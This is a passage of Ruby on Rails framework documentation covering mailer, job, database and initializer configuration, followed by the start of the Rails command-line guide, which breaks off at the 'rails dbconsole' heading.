- :authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.

- config.action_mailer.sendmail_settings allows detailed configuration for the sendmail delivery method. It accepts a hash of options, which can include any of these options:

- :location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.

- :arguments - The command line arguments. Defaults to -i.

- config.action_mailer.raise_delivery_errors specifies whether to raise an error if email delivery cannot be completed. It defaults to true.

- config.action_mailer.delivery_method defines the delivery method and defaults to :smtp. See the configuration section in the Action Mailer guide for more info.

- config.action_mailer.perform_deliveries specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.

- config.action_mailer.default_options configures Action Mailer defaults. Use to set options like from or reply_to for every mailer. These default to:

mime_version:  "1.0",
charset:       "UTF-8",
content_type: "text/plain",
parts_order:  ["text/plain", "text/enriched", "text/html"]

Assign a hash to set additional options:

config.action_mailer.default_options = {
from: "noreply@example.com"
}

- config.action_mailer.observers registers observers which will be notified when mail is delivered.

config.action_mailer.observers = ["MailObserver"]

- config.action_mailer.interceptors registers interceptors which will be called before mail is sent.

config.action_mailer.interceptors = ["MailInterceptor"]

- config.action_mailer.preview_path specifies the location of mailer previews.

config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"

- config.action_mailer.show_previews enable or disable mailer previews. By default this is true in development.

config.action_mailer.show_previews = false

- config.action_mailer.deliver_later_queue_name specifies the queue name for mailers. By default this is mailers.

- config.action_mailer.perform_caching specifies whether the mailer templates should perform fragment caching or not. By default this is false in all environments.

3.11 Configuring Active Support

There are a few configuration options available in Active Support:

- config.active_support.bare enables or disables the loading of active_support/all when booting Rails. Defaults to nil, which means active_support/all is loaded.

- config.active_support.test_order sets the order that test cases are executed. Possible values are :random and :sorted. This option is set to :random in config/environments/test.rb in newly-generated applications. If you have an application that does not specify a test_order, it will default to :sorted, until Rails 5.0, when the default will become :random.

- config.active_support.escape_html_entities_in_json enables or disables the escaping of HTML entities in JSON serialization. Defaults to true.

- config.active_support.use_standard_json_time_format enables or disables serializing dates to ISO 8601 format. Defaults to true.

- config.active_support.time_precision sets the precision of JSON encoded time values. Defaults to 3.

- ActiveSupport.halt_callback_chains_on_return_false specifies whether Active Record and Active Model callback chains can be halted by returning false in a 'before' callback. When set to false, callback chains are halted only when explicitly done so with throw(:abort). When set to true, callback chains are halted when a callback returns false (the previous behavior before Rails 5) and a deprecation warning is given. Defaults to true during the deprecation period. New Rails 5 apps generate an initializer file called callback_terminator.rb which sets the value to false. This file is not added when running rails app:update, so returning false will still work on older apps ported to Rails 5 and display a deprecation warning to prompt users to update their code.

- ActiveSupport::Logger.silencer is set to false to disable the ability to silence logging in a block. The default is true.

- ActiveSupport::Cache::Store.logger specifies the logger to use within cache store operations.

- ActiveSupport::Deprecation.behavior alternative setter to config.active_support.deprecation which configures the behavior of deprecation warnings for Rails.

- ActiveSupport::Deprecation.silence takes a block in which all deprecation warnings are silenced.

- ActiveSupport::Deprecation.silenced sets whether or not to display deprecation warnings.

3.12 Configuring Active Job

config.active_job provides the following configuration options:

- config.active_job.queue_adapter sets the adapter for the queueing backend. The default adapter is :async. For an up-to-date list of built-in adapters see the ActiveJob::QueueAdapters API documentation.

# Be sure to have the adapter's gem in your Gemfile
# and follow the adapter's specific installation
# and deployment instructions.
config.active_job.queue_adapter = :sidekiq

- config.active_job.default_queue_name can be used to change the default queue name. By default this is "default".

config.active_job.default_queue_name = :medium_priority

- config.active_job.queue_name_prefix allows you to set an optional, non-blank, queue name prefix for all jobs. By default it is blank and not used. The following configuration would queue the given job on the production_high_priority queue when run in production:

config.active_job.queue_name_prefix = Rails.env

class GuestsCleanupJob < ActiveJob::Base
queue_as :high_priority
#....
end

- config.active_job.queue_name_delimiter has a default value of '_'. If queue_name_prefix is set, then queue_name_delimiter joins the prefix and the non-prefixed queue name. The following configuration would queue the provided job on the video_server.low_priority queue:

# prefix must be set for delimiter to be used
config.active_job.queue_name_prefix = 'video_server'
config.active_job.queue_name_delimiter = '.'

class EncoderJob < ActiveJob::Base
queue_as :low_priority
#....
end

- config.active_job.logger accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Job. You can retrieve this logger by calling logger on either an Active Job class or an Active Job instance. Set to nil to disable logging.

3.13 Configuring Action Cable

- config.action_cable.url accepts a string for the URL for where you are hosting your Action Cable server. You would use this option if you are running Action Cable servers that are separated from your main application.

- config.action_cable.mount_path accepts a string for where to mount Action Cable, as part of the main server process. Defaults to /cable. You can set this as nil to not mount Action Cable as part of your normal Rails server.

3.14 Configuring a Database

Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable ENV['DATABASE_URL'] or by using a configuration file called config/database.yml.

Using the config/database.yml file you can specify all the information needed to access your database:

development:
adapter: postgresql
database: blog_development
pool: 5

This will connect to the database named blog_development using the postgresql adapter. This same information can be stored in a URL and provided via an environment variable like this:

> puts ENV['DATABASE_URL']
postgresql://localhost/blog_development?pool=5

The config/database.yml file contains sections for three different environments in which Rails can run by default:

- The development environment is used on your development/local computer as you interact manually with the application.

- The test environment is used when running automated tests.

- The production environment is used when you deploy your application for the world to use.

If you wish, you can manually specify a URL inside of your config/database.yml

development:
url: postgresql://localhost/blog_development?pool=5

The config/database.yml file can contain ERB tags <%= %>. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information.

You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named --database. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: cd .. && rails new blog --database=mysql. When you confirm the overwriting of the config/database.yml file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.

3.15 Connection Preference

Since there are two ways to configure your connection (using config/database.yml or using an environment variable) it is important to understand how they can interact.

If you have an empty config/database.yml file but your ENV['DATABASE_URL'] is present, then Rails will connect to the database via your environment variable:

$ cat config/database.yml

$ echo $DATABASE_URL
postgresql://localhost/my_database

If you have a config/database.yml but no ENV['DATABASE_URL'] then this file will be used to connect to your database:

$ cat config/database.yml
development:
adapter: postgresql
database: my_database
host: localhost

$ echo $DATABASE_URL

If you have both config/database.yml and ENV['DATABASE_URL'] set then Rails will merge the configuration together. To better understand this we must see some examples.

When duplicate connection information is provided the environment variable will take precedence:

$ cat config/database.yml
development:
adapter: sqlite3
database: NOT_my_database
host: localhost

$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations'
{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}}

Here the adapter, host, and database match the information in ENV['DATABASE_URL'].

If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts.

$ cat config/database.yml
development:
adapter: sqlite3
pool: 5

$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations'
{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}}

Since pool is not in the ENV['DATABASE_URL'] provided connection information its information is merged in. Since adapter is duplicate, the ENV['DATABASE_URL'] connection information wins.

The only way to explicitly not use the connection information in ENV['DATABASE_URL'] is to specify an explicit URL connection using the "url" sub key:

$ cat config/database.yml
development:
url: sqlite3:NOT_my_database

$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations'
{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_database"}}

Here the connection information in ENV['DATABASE_URL'] is ignored, note the different adapter and database name.

Since it is possible to embed ERB in your config/database.yml it is best practice to explicitly show you are using the ENV['DATABASE_URL'] to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git).

$ cat config/database.yml
production:
url: <%= ENV['DATABASE_URL'] %>

Now the behavior is clear, that we are only using the connection information in ENV['DATABASE_URL'].

3.15.1 Configuring an SQLite3 Database

Rails comes with built-in support for SQLite3, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.

Here's the section of the default configuration file (config/database.yml) with connection information for the development environment:

development:
adapter: sqlite3
database: db/development.sqlite3
pool: 5
timeout: 5000

Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL (including MariaDB) and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.

3.15.2 Configuring a MySQL or MariaDB Database

If you choose to use MySQL or MariaDB instead of the shipped SQLite3 database, your config/database.yml will look a little different. Here's the development section:

development:
adapter: mysql2
encoding: utf8
database: blog_development
pool: 5
username: root
password:
socket: /tmp/mysql.sock

If your development database has a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the development section as appropriate.

3.15.3 Configuring a PostgreSQL Database

If you choose to use PostgreSQL, your config/database.yml will be customized to use PostgreSQL databases:

development:
adapter: postgresql
encoding: unicode
database: blog_development
pool: 5

Prepared Statements are enabled by default on PostgreSQL. You can disable prepared statements by setting prepared_statements to false:

production:
adapter: postgresql
prepared_statements: false

If enabled, Active Record will create up to 1000 prepared statements per database connection by default. To modify this behavior you can set statement_limit to a different value:

production:
adapter: postgresql
statement_limit: 200

The more prepared statements in use: the more memory your database will require. If your PostgreSQL database is hitting memory limits, try lowering statement_limit or disabling prepared statements.

3.15.4 Configuring an SQLite3 Database for JRuby Platform

If you choose to use SQLite3 and are using JRuby, your config/database.yml will look a little different. Here's the development section:

development:
adapter: jdbcsqlite3
database: db/development.sqlite3

3.15.5 Configuring a MySQL or MariaDB Database for JRuby Platform

If you choose to use MySQL or MariaDB and are using JRuby, your config/database.yml will look a little different. Here's the development section:

development:
adapter: jdbcmysql
database: blog_development
username: root
password:

3.15.6 Configuring a PostgreSQL Database for JRuby Platform

If you choose to use PostgreSQL and are using JRuby, your config/database.yml will look a little different. Here's the development section:

development:
adapter: jdbcpostgresql
encoding: unicode
database: blog_development
username: blog
password:

Change the username and password in the development section as appropriate.

3.16 Creating Rails Environments

By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments.

Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called config/environments/staging.rb. Please use the contents of any existing file in config/environments as a starting point and make the necessary changes from there.

That environment is no different than the default ones, start a server with rails server -e staging, a console with rails console staging, Rails.env.staging? works, etc.

3.17 Deploy to a subdirectory (relative url root)

By default Rails expects that your application is running at the root (eg. /). This section explains how to run your application inside a directory.

Let's assume we want to deploy our application to "/app1". Rails needs to know this directory to generate the appropriate routes:

config.relative_url_root = "/app1"

alternatively you can set the RAILS_RELATIVE_URL_ROOT environment variable.

Rails will now prepend "/app1" when generating links.

3.17.1 Using Passenger

Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the Passenger manual.

3.17.2 Using a Reverse Proxy

Deploying your application using a reverse proxy has definite advantages over traditional deploys. They allow you to have more control over your server by layering the components required by your application.

Many modern web servers can be used as a proxy server to balance third-party elements such as caching servers or application servers.

One such application server you can use is Unicorn to run behind a reverse proxy.

In this case, you would need to configure the proxy server (NGINX, Apache, etc) to accept connections from your application server (Unicorn). By default Unicorn will listen for TCP connections on port 8080, but you can change the port or configure it to use sockets instead.

You can find more information in the Unicorn readme and understand the philosophy behind it.

Once you've configured the application server, you must proxy requests to it by configuring your web server appropriately. For example your NGINX config may include:

upstream application_server {
server 0.0.0.0:8080
}

server {
listen 80;
server_name localhost;

root /root/path/to/your_app/public;

try_files $uri/index.html $uri.html @app;

location @app {
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $http_host;
proxy_redirect off;
proxy_pass http://application_server;
}

# some other configuration
}

Be sure to read the NGINX documentation for the most up-to-date information.

4 Rails Environment Settings

Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:

- ENV["RAILS_ENV"] defines the Rails environment (production, development, test, and so on) that Rails will run under.

- ENV["RAILS_RELATIVE_URL_ROOT"] is used by the routing code to recognize URLs when you deploy your application to a subdirectory.

- ENV["RAILS_CACHE_ID"] and ENV["RAILS_APP_VERSION"] are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.

5 Using Initializer Files

After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under config/initializers in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts.

You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.

If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, 01_critical.rb will be loaded before 02_normal.rb.

6 Initialization events

Rails has 5 initialization events which can be hooked into (listed in the order that they are run):

- before_configuration: This is run as soon as the application constant inherits from Rails::Application. The config calls are evaluated before this happens.

- before_initialize: This is run directly before the initialization process of the application occurs with the :bootstrap_hook initializer near the beginning of the Rails initialization process.

- to_prepare: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in development, but only once (during boot-up) in production and test.

- before_eager_load: This is run directly before eager loading occurs, which is the default behavior for the production environment and not for the development environment.

- after_initialize: Run directly after the initialization of the application, after the application initializers in config/initializers are run.

To define an event for these hooks, use the block syntax within a Rails::Application, Rails::Railtie or Rails::Engine subclass:

module YourApp
class Application < Rails::Application
config.before_initialize do
# initialization code goes here
end
end
end

Alternatively, you can also do it through the config method on the Rails.application object:

Rails.application.config.before_initialize do
# initialization code goes here
end

Some parts of your application, notably routing, are not yet set up at the point where the after_initialize block is called.

6.1 Rails::Railtie#initializer

Rails has several initializers that run on startup that are all defined by using the initializer method from Rails::Railtie. Here's an example of the set_helpers_path initializer from Action Controller:

initializer "action_controller.set_helpers_path" do |app|
ActionController::Helpers.helpers_path = app.helpers_paths
end

The initializer method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The :before key in the options hash can be specified to specify which initializer this new initializer must run before, and the :after key will specify which initializer to run this initializer after.

Initializers defined using the initializer method will be run in the order they are defined in, with the exception of ones that use the :before or :after methods.

You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go before "four" but after "three", that just isn't logical and Rails will not be able to determine your initializer order.

The block argument of the initializer method is the instance of the application itself, and so we can access the configuration on it by using the config method as done in the example.

Because Rails::Application inherits from Rails::Railtie (indirectly), you can use the initializer method in config/application.rb to define initializers for the application.

6.2 Initializers

Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).

- load_environment_hook: Serves as a placeholder so that :load_environment_config can be defined to run before it.

- load_active_support: Requires active_support/dependencies which sets up the basis for Active Support. Optionally requires active_support/all if config.active_support.bare is un-truthful, which is the default.

- initialize_logger: Initializes the logger (an ActiveSupport::Logger object) for the application and makes it accessible at Rails.logger, provided that no initializer inserted before this point has defined Rails.logger.

- initialize_cache: If Rails.cache isn't set yet, initializes the cache by referencing the value in config.cache_store and stores the outcome as Rails.cache. If this object responds to the middleware method, its middleware is inserted before Rack::Runtime in the middleware stack.

- set_clear_dependencies_hook: This initializer - which runs only if cache_classes is set to false - uses ActionDispatch::Callbacks.after to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.

- initialize_dependency_mechanism: If config.cache_classes is true, configures ActiveSupport::Dependencies.mechanism to require dependencies rather than load them.

- bootstrap_hook: Runs all configured before_initialize blocks.

- i18n.callbacks: In the development environment, sets up a to_prepare callback which will call I18n.reload! if any of the locales have changed since the last request. In production mode this callback will only run on the first request.

- active_support.deprecation_behavior: Sets up deprecation reporting for environments, defaulting to :log for development, :notify for production and :stderr for test. If a value isn't set for config.active_support.deprecation then this initializer will prompt the user to configure this line in the current environment's config/environments file. Can be set to an array of values.

- active_support.initialize_time_zone: Sets the default time zone for the application based on the config.time_zone setting, which defaults to "UTC".

- active_support.initialize_beginning_of_week: Sets the default beginning of week for the application based on config.beginning_of_week setting, which defaults to :monday.

- active_support.set_configs: Sets up Active Support by using the settings in config.active_support by send'ing the method names as setters to ActiveSupport and passing the values through.

- action_dispatch.configure: Configures the ActionDispatch::Http::URL.tld_length to be set to the value of config.action_dispatch.tld_length.

- action_view.set_configs: Sets up Action View by using the settings in config.action_view by send'ing the method names as setters to ActionView::Base and passing the values through.

- action_controller.assets_config: Initializes the config.actions_controller.assets_dir to the app's public directory if not explicitly configured.

- action_controller.set_helpers_path: Sets Action Controller's helpers_path to the application's helpers_path.

- action_controller.parameters_config: Configures strong parameters options for ActionController::Parameters.

- action_controller.set_configs: Sets up Action Controller by using the settings in config.action_controller by send'ing the method names as setters to ActionController::Base and passing the values through.

- action_controller.compile_config_methods: Initializes methods for the config settings specified so that they are quicker to access.

- active_record.initialize_timezone: Sets ActiveRecord::Base.time_zone_aware_attributes to true, as well as setting ActiveRecord::Base.default_timezone to UTC. When attributes are read from the database, they will be converted into the time zone specified by Time.zone.

- active_record.logger: Sets ActiveRecord::Base.logger - if it's not already set - to Rails.logger.

- active_record.migration_error: Configures middleware to check for pending migrations.

- active_record.check_schema_cache_dump: Loads the schema cache dump if configured and available.

- active_record.warn_on_records_fetched_greater_than: Enables warnings when queries return large numbers of records.

- active_record.set_configs: Sets up Active Record by using the settings in config.active_record by send'ing the method names as setters to ActiveRecord::Base and passing the values through.

- active_record.initialize_database: Loads the database configuration (by default) from config/database.yml and establishes a connection for the current environment.

- active_record.log_runtime: Includes ActiveRecord::Railties::ControllerRuntime which is responsible for reporting the time taken by Active Record calls for the request back to the logger.

- active_record.set_reloader_hooks: Resets all reloadable connections to the database if config.cache_classes is set to false.

- active_record.add_watchable_files: Adds schema.rb and structure.sql files to watchable files.

- active_job.logger: Sets ActiveJob::Base.logger - if it's not already set - to Rails.logger.

- active_job.set_configs: Sets up Active Job by using the settings in config.active_job by send'ing the method names as setters to ActiveJob::Base and passing the values through.

- action_mailer.logger: Sets ActionMailer::Base.logger - if it's not already set - to Rails.logger.

- action_mailer.set_configs: Sets up Action Mailer by using the settings in config.action_mailer by send'ing the method names as setters to ActionMailer::Base and passing the values through.

- action_mailer.compile_config_methods: Initializes methods for the config settings specified so that they are quicker to access.

- set_load_path: This initializer runs before bootstrap_hook. Adds paths specified by config.load_paths and all autoload paths to $LOAD_PATH.

- set_autoload_paths: This initializer runs before bootstrap_hook. Adds all sub-directories of app and paths specified by config.autoload_paths, config.eager_load_paths and config.autoload_once_paths to ActiveSupport::Dependencies.autoload_paths.

- add_routing_paths: Loads (by default) all config/routes.rb files (in the application and railties, including engines) and sets up the routes for the application.

- add_locales: Adds the files in config/locales (from the application, railties and engines) to I18n.load_path, making available the translations in these files.

- add_view_paths: Adds the directory app/views from the application, railties and engines to the lookup path for view files for the application.

- load_environment_config: Loads the config/environments file for the current environment.

- prepend_helpers_path: Adds the directory app/helpers from the application, railties and engines to the lookup path for helpers for the application.

- load_config_initializers: Loads all Ruby files from config/initializers in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.

- engines_blank_point: Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.

- add_generator_templates: Finds templates for generators at lib/templates for the application, railties and engines and adds these to the config.generators.templates setting, which will make the templates available for all generators to reference.

- ensure_autoload_once_paths_as_subset: Ensures that the config.autoload_once_paths only contains paths from config.autoload_paths. If it contains extra paths, then an exception will be raised.

- add_to_prepare_blocks: The block for every config.to_prepare call in the application, a railtie or engine is added to the to_prepare callbacks for Action Dispatch which will be run per request in development, or before the first request in production.

- add_builtin_route: If the application is running under the development environment then this will append the route for rails/info/properties to the application routes. This route provides the detailed information such as Rails and Ruby version for public/index.html in a default Rails application.

- build_middleware_stack: Builds the middleware stack for the application, returning an object which has a call method which takes a Rack environment object for the request.

- eager_load!: If config.eager_load is true, runs the config.before_eager_load hooks and then calls eager_load! which will load all config.eager_load_namespaces.

- finisher_hook: Provides a hook for after the initialization of process of the application is complete, as well as running all the config.after_initialize blocks for the application, railties and engines.

- set_routes_reloader: Configures Action Dispatch to reload the routes file using ActionDispatch::Callbacks.to_prepare.

- disable_dependency_loading: Disables the automatic dependency loading if the config.eager_load is set to true.

7 Database pooling

Active Record database connections are managed by ActiveRecord::ConnectionAdapters::ConnectionPool which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in database.yml.

development:
adapter: sqlite3
database: db/development.sqlite3
pool: 5
timeout: 5000

Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. The database connection pool is initially empty. As demand for connections increases it will create them until it reaches the connection pool limit.

Any one request will check out a connection the first time it requires access to the database. At the end of the request it will check the connection back in. This means that the additional connection slot will be available again for the next request in the queue.

If you try to use more connections than are available, Active Record will block you and wait for a connection from the pool. If it cannot get a connection, a timeout error similar to that given below will be thrown.

ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5.000 seconds (waited 5.000 seconds)

If you get the above error, you might want to increase the size of the connection pool by incrementing the pool option in database.yml

If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited number of connections.

8 Custom configuration

You can configure your own code through the Rails configuration object with custom configuration. It works like this:

config.payment_processing.schedule = :daily
config.payment_processing.retries  = 3
config.super_debugger = true

These configuration points are then available through the configuration object:

Rails.configuration.payment_processing.schedule # => :daily
Rails.configuration.payment_processing.retries  # => 3
Rails.configuration.super_debugger              # => true
Rails.configuration.super_debugger.not_set      # => nil

You can also use Rails::Application.config_for to load whole configuration files:

# config/payment.yml:
production:
environment: production
merchant_id: production_merchant_id
public_key:  production_public_key
private_key: production_private_key
development:
environment: sandbox
merchant_id: development_merchant_id
public_key:  development_public_key
private_key: development_private_key

# config/application.rb
module MyApp
class Application < Rails::Application
config.payment = config_for(:payment)
end
end

Rails.configuration.payment['merchant_id'] # => production_merchant_id or development_merchant_id

9 Search Engines Indexing

Sometimes, you may want to prevent some pages of your application to be visible on search sites like Google, Bing, Yahoo or Duck Duck Go. The robots that index these sites will first analyze the http://your-site.com/robots.txt file to know which pages it is allowed to index.

Rails creates this file for you inside the /public folder. By default, it allows search engines to index all pages of your application. If you want to block indexing on all pages of you application, use this:

User-agent: *
Disallow: /

To block just specific pages, it's necessary to use a more complex syntax. Learn it on the official documentation.

10 Evented File System Monitor

If the listen gem is loaded Rails uses an evented file system monitor to detect changes when config.cache_classes is false:

group :development do
gem 'listen', '~> 3.0.4'
end

Otherwise, in every request Rails walks the application tree to check if anything has changed.

On Linux and Mac OS X no additional gems are needed, but some are required for *BSD and for Windows.

Note that some setups are unsupported.

The Rails Command Line — Ruby on Rails...

1 Command Line Basics

There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:

- rails console

- rails server

- bin/rails

- rails generate

- rails dbconsole

- rails new app_name

All commands can run with -h or --help to list more information.

Let's create a simple Rails application to step through each of these commands in context.

1.1 rails new

The first thing we'll want to do is create a new Rails application by running the rails new command after installing Rails.

You can install the rails gem by typing gem install rails, if you don't have it already.

$ rails new commandsapp
create
create  README.md
create  Rakefile
create  config.ru
create  .gitignore
create  Gemfile
create  app
...
create  tmp/cache
...
run  bundle install

Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.

1.2 rails server

The rails server command launches a web server named Puma which comes bundled with Rails. You'll use this any time you want to access your application through a web browser.

With no further work, rails server will run our new shiny Rails app:

$ cd commandsapp
$ bin/rails server
=> Booting Puma
=> Rails 5.0.0 application starting in development on http://0.0.0.0:3000
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.0.2 (ruby 2.3.0-p0), codename: Plethora of Penguin Pinatas
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://localhost:3000
Use Ctrl-C to stop

With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open http://localhost:3000, you will see a basic Rails app running.

You can also use the alias "s" to start the server: rails s.

The server can be run on a different port using the -p option. The default development environment can be changed using -e.

$ bin/rails server -e production -p 4000

The -b option binds Rails to the specified IP, by default it is localhost. You can run a server as a daemon by passing a -d option.

1.3 rails generate

The rails generate command uses templates to create a whole lot of things. Running rails generate by itself gives a list of available generators:

You can also use the alias "g" to invoke the generator command: rails g.

$ bin/rails generate
Usage: rails generate GENERATOR [args] [options]

...
...

Please choose a generator below.

Rails:
assets
controller
generator
...
...

You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!

Using generators will save you a large amount of time by writing boilerplate code, code that is necessary for the app to work.

Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:

All Rails console utilities have help text. As with most *nix utilities, you can try adding --help or -h to the end, for example rails server --help.

$ bin/rails generate controller
Usage: rails generate controller NAME [action action] [options]

...
...

Description:
...

To create a controller within a module, specify the controller name as a path like 'parent_module/controller_name'.

...

Example:
`rails generate controller CreditCards open debit credit close`

Credit card controller with URLs like /credit_cards/debit.
Controller: app/controllers/credit_cards_controller.rb
Test:       test/controllers/credit_cards_controller_test.rb
Views:      app/views/credit_cards/debit.html.erb [...]
Helper:     app/helpers/credit_cards_helper.rb

The controller generator is expecting parameters in the form of generate controller ControllerName action1 action2. Let's make a Greetings controller with an action of hello, which will say something nice to us.

$ bin/rails generate controller Greetings hello
create  app/controllers/greetings_controller.rb
route  get "greetings/hello"
invoke  erb
create    app/views/greetings
create    app/views/greetings/hello.html.erb
invoke  test_unit
create    test/controllers/greetings_controller_test.rb
invoke  helper
create    app/helpers/greetings_helper.rb
invoke  assets
invoke    coffee
create      app/assets/javascripts/greetings.coffee
invoke    scss
create      app/assets/stylesheets/greetings.scss

What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file.

Check out the controller and modify it a little (in app/controllers/greetings_controller.rb):

class GreetingsController < ApplicationController
def hello
@message = "Hello, how are you today?"
end
end

Then the view, to display our message (in app/views/greetings/hello.html.erb):

<h1>A Greeting for You!</h1>
<p><%= @message %></p>

Fire up your server using rails server.

$ bin/rails server
=> Booting Puma...

The URL will be http://localhost:3000/greetings/hello.

With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the index action of that controller.

Rails comes with a generator for data models too.

$ bin/rails generate model
Usage:
rails generate model NAME [field[:type][:index] field[:type][:index]] [options]

...

Active Record options:
[--migration]            # Indicates when to generate migration
# Default: true

...

Description:
Create rails files for model generator.

For a list of available field types, refer to the API documentation for the column method for the TableDefinition class.

But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A scaffold in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.

We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.

$ bin/rails generate scaffold HighScore game:string score:integer
invoke  active_record
create    db/migrate/20130717151933_create_high_scores.rb
create    app/models/high_score.rb
invoke    test_unit
create      test/models/high_score_test.rb
create      test/fixtures/high_scores.yml
invoke  resource_route
route    resources :high_scores
invoke  scaffold_controller
create    app/controllers/high_scores_controller.rb
invoke    erb
create      app/views/high_scores
create      app/views/high_scores/index.html.erb
create      app/views/high_scores/edit.html.erb
create      app/views/high_scores/show.html.erb
create      app/views/high_scores/new.html.erb
create      app/views/high_scores/_form.html.erb
invoke    test_unit
create      test/controllers/high_scores_controller_test.rb
invoke    helper
create      app/helpers/high_scores_helper.rb
invoke    jbuilder
create      app/views/high_scores/index.json.jbuilder
create      app/views/high_scores/show.json.jbuilder
invoke  assets
invoke    coffee
create      app/assets/javascripts/high_scores.coffee
invoke    scss
create      app/assets/stylesheets/high_scores.scss
invoke  scss
identical    app/assets/stylesheets/scaffolds.scss

The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the high_scores table and fields), takes care of the route for the resource, and new tests for everything.

The migration requires that we migrate, that is, run some Ruby code (living in that 20130717151933_create_high_scores.rb) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the bin/rails db:migrate command. We'll talk more about bin/rails in-depth in a little while.

$ bin/rails db:migrate
==  CreateHighScores: migrating ===============================================
-- create_table(:high_scores)
-> 0.0017s
==  CreateHighScores: migrated (0.0019s) ======================================

Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. Please visit the testing guide for an in-depth look at unit testing.

Let's see the interface Rails created for us.

$ bin/rails server

Go to your browser and open http://localhost:3000/high_scores, now we can create new high scores (55,160 on Space Invaders!)

1.4 rails console

The console command lets you interact with your Rails application from the command line. On the underside, rails console uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.

You can also use the alias "c" to invoke the console: rails c.

You can specify the environment in which the console command should operate.

$ bin/rails console staging

If you wish to test out some code without changing any data, you can do that by invoking rails console --sandbox.

$ bin/rails console --sandbox
Loading development environment in sandbox (Rails 5.0.0)
Any modifications you make will be rolled back on exit
irb(main):001:0>

1.4.1 The app and helper objects

Inside the rails console you have access to the app and helper instances.

With the app method you can access url and path helpers, as well as do requests.

>> app.root_path
=> "/"

>> app.get _
Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300
...

With the helper method it is possible to access Rails and your application's helpers.

>> helper.time_ago_in_words 30.days.ago
=> "about 1 month"

>> helper.my_custom_helper
=> "my custom helper"

1.5 rails dbconsole

